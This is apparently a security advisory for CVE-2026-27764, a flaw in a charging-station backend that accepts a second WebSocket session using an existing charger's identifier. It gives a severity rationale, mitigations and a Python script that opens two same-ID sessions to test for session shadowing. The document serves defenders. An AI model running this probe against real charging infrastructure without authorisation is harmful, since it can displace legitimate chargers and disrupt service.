The WebSocket backend uses charging station identifiers to uniquely associate sessions but

CVE-2026-27764 affects all versions of Mobiliti e-mobi.hu per CISA/CVE records. The backend uses the charging station identifier as the session anchor for OCPP-over-WebSocket traffic, but it permits another endpoint to connect with that same identifier. In practice, that lets an attacker open a competing session, displace or shadow the legitimate charger, and receive backend commands or corrupt the station's telemetry stream.

The vendor's HIGH rating is basically fair. The main downward pressure is real-world friction: the attacker needs reachability to the OCPP/WebSocket edge and a valid station identifier. But there is still no authentication requirement in this CVE's path, no user interaction, all versions are affected, and the exposed service is the very control plane used to manage chargers remotely, so this stays HIGH rather than falling to a routine medium.

Why this verdict

• Baseline stays high: vendor scored it 7.3 HIGH, and the core path is still unauthenticated, network-reachable, and free of user interaction.
• Exposure friction trims the score slightly: the attacker must reach the OCPP/WebSocket edge, which in mature deployments should be narrowed by VPNs, APNs, private networks, firewalls, or IP allowlists.
• Identity friction trims it again: the attacker needs a valid charger identifier; that is materially easier if naming is predictable or identifiers leak elsewhere, but it is still a prerequisite that narrows opportunistic mass exploitation.
• Blast radius keeps it below critical: successful exploitation typically hijacks or disrupts one charger identity per session, not the whole tenant, domain, or server OS.
• No exploitation evidence removes urgency premium: no KEV listing, no public campaigns cited by CISA, and a very low supplied EPSS argue against an emergency-everything stop.

Why not higher?

This is not pre-auth RCE, not a tenant-wide auth bypass, and not a reliable path to backend host takeover. The attacker must first have OCPP edge reachability and a valid station identifier, and even then the impact is usually bounded to session hijack, command interception, or charger-level disruption rather than full infrastructure compromise.

Why not lower?

Dropping this to MEDIUM would understate the fact that the path is still unauthenticated remote access to a live operational control channel. All versions are affected, there is no published fix, and the vulnerable service exists specifically to let remote systems control chargers, so the reachable population can still be meaningful in real fleets.

1. Restrict OCPP ingress — Put the OCPP/WebSocket edge behind IP allowlists, private APN/VPN paths, or equivalent network admission controls so only known charger networks can reach it. For a HIGH verdict, deploy this within 30 days if you cannot patch because this is the cleanest way to collapse the unauthenticated attack surface.
2. Enforce strong charger identity at the edge — Require mTLS, strong HTTP authentication, or a reverse-proxy identity layer before a session can bind to a charger ID. Do this within 30 days to prevent a second endpoint from successfully reusing a station identifier even if the backend logic is weak.
3. Alert on duplicate station IDs — Create detections for the same charger ID connecting from multiple IPs, ASNs, or geographies within a short window. Deploy within 30 days so you can catch session shadowing attempts that slip past perimeter filtering.
4. Rate-limit connection churn per charger ID — Throttle repeated reconnects and parallel session attempts for the same station identifier at the load balancer, reverse proxy, or WebSocket gateway. This does not fix the logic flaw, but within 30 days it reduces cheap displacement and noisy DoS attempts.
5. Inventory exposed OCPP endpoints — Treat this as an attack-surface problem first: find every public ws:// or wss:// OCPP listener, associated FQDN, and source-IP policy. Complete the exposure inventory within 30 days so you know which fleets can actually be exploited.

Run this from an auditor workstation or jump host that can reach the target OCPP/WebSocket endpoint; do not run it on the charger itself. Invoke it as python3 verify_cve_2026_27764.py wss://ocpp.example.com/ocpp/CHARGER123 --subprotocol ocpp1.6 with normal user privileges; install the dependency first with python3 -m pip install websockets.

#!/usr/bin/env python3
"""
verify_cve_2026_27764.py

Best-effort verifier for CVE-2026-27764 (duplicate charger session acceptance / session shadowing).

Usage:
  python3 verify_cve_2026_27764.py wss://host/ocpp/CHARGER123 --subprotocol ocpp1.6

Exit codes:
  0 = VULNERABLE
  1 = PATCHED
  2 = UNKNOWN / test inconclusive

Notes:
- This script opens two WebSocket connections to the SAME charger endpoint/ID.
- If the second connection is accepted and the first is dropped or both remain active,
  the target likely permits duplicate session binding and should be treated as VULNERABLE.
- Some backends require full OCPP message exchange before enforcing policy; in those cases
  the result may be UNKNOWN.
"""

import argparse
import asyncio
import sys

try:
    import websockets
    from websockets.exceptions import ConnectionClosed
except Exception:
    print("UNKNOWN")
    print("Dependency missing: install with 'python3 -m pip install websockets'", file=sys.stderr)
    sys.exit(2)


async def open_ws(url, subprotocol=None):
    kwargs = {
        "open_timeout": 10,
        "close_timeout": 5,
        "ping_interval": None,
        "max_size": 2**20,
    }
    if subprotocol:
        kwargs["subprotocols"] = [subprotocol]
    return await websockets.connect(url, **kwargs)


async def probe(url, subprotocol=None):
    ws1 = None
    ws2 = None
    try:
        ws1 = await open_ws(url, subprotocol)
        await asyncio.sleep(1)

        try:
            ws2 = await open_ws(url, subprotocol)
        except Exception as e:
            # If the second connection is rejected up front, that's the desired behavior.
            print(f"DEBUG: second connection rejected: {type(e).__name__}: {e}", file=sys.stderr)
            return "PATCHED"

        await asyncio.sleep(2)

        ws1_closed = ws1.closed
        ws2_closed = ws2.closed

        # Strong vulnerable signal 1: second session accepted and first got displaced.
        if not ws2_closed and ws1_closed:
            return "VULNERABLE"

        # Strong vulnerable signal 2: both sessions remain open simultaneously for same ID.
        if not ws1_closed and not ws2_closed:
            return "VULNERABLE"

        # If both are closed quickly, backend behavior is ambiguous.
        if ws1_closed and ws2_closed:
            return "UNKNOWN"

        # If only the second is closed, backend may have protected the original session.
        if not ws1_closed and ws2_closed:
            return "PATCHED"

        return "UNKNOWN"

    except ConnectionClosed as e:
        print(f"DEBUG: connection closed during test: {e}", file=sys.stderr)
        return "UNKNOWN"
    except Exception as e:
        print(f"DEBUG: unexpected error: {type(e).__name__}: {e}", file=sys.stderr)
        return "UNKNOWN"
    finally:
        for ws in (ws2, ws1):
            try:
                if ws is not None and not ws.closed:
                    await ws.close()
            except Exception:
                pass


def main():
    parser = argparse.ArgumentParser(description="Best-effort verifier for CVE-2026-27764")
    parser.add_argument("url", help="Full WebSocket URL including the charger/station identifier")
    parser.add_argument("--subprotocol", default="ocpp1.6", help="WebSocket subprotocol, default: ocpp1.6")
    args = parser.parse_args()

    result = asyncio.run(probe(args.url, args.subprotocol))
    print(result)

    if result == "VULNERABLE":
        sys.exit(0)
    elif result == "PATCHED":
        sys.exit(1)
    else:
        sys.exit(2)


if __name__ == "__main__":
    main()

Sources

1. NVD record
2. CVE.org record
3. CISA CSAF JSON advisory ICSA-26-062-06
4. CISA web advisory ICSA-26-062-06
5. CWE-613 definition
6. Open Charge Alliance vulnerability research update
7. Open Charge Alliance OCPP security operations guide